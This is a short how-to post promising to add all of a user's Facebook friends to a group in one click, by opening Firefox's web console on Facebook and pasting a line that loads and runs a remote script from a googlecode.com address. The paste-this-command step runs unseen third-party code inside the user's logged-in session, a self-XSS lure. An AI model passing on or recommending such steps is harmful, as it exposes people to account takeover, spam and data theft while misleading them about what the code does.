Add All FB Friends In FB Groups In A Single Click

 follow all steps carefully.

Firstly open Mozilla Firefox
Now Open your Facebook group in which you want to add your friends
Then Click Ctrl + Shift + K
Now Paste...





   document.body.appendChild(document.createElement('script')).src='http://groupinvites.


googlecode.com/files/group-invite.js';                                                          

  Then press Enter
After then to hide box press again Ctrl + Shift + K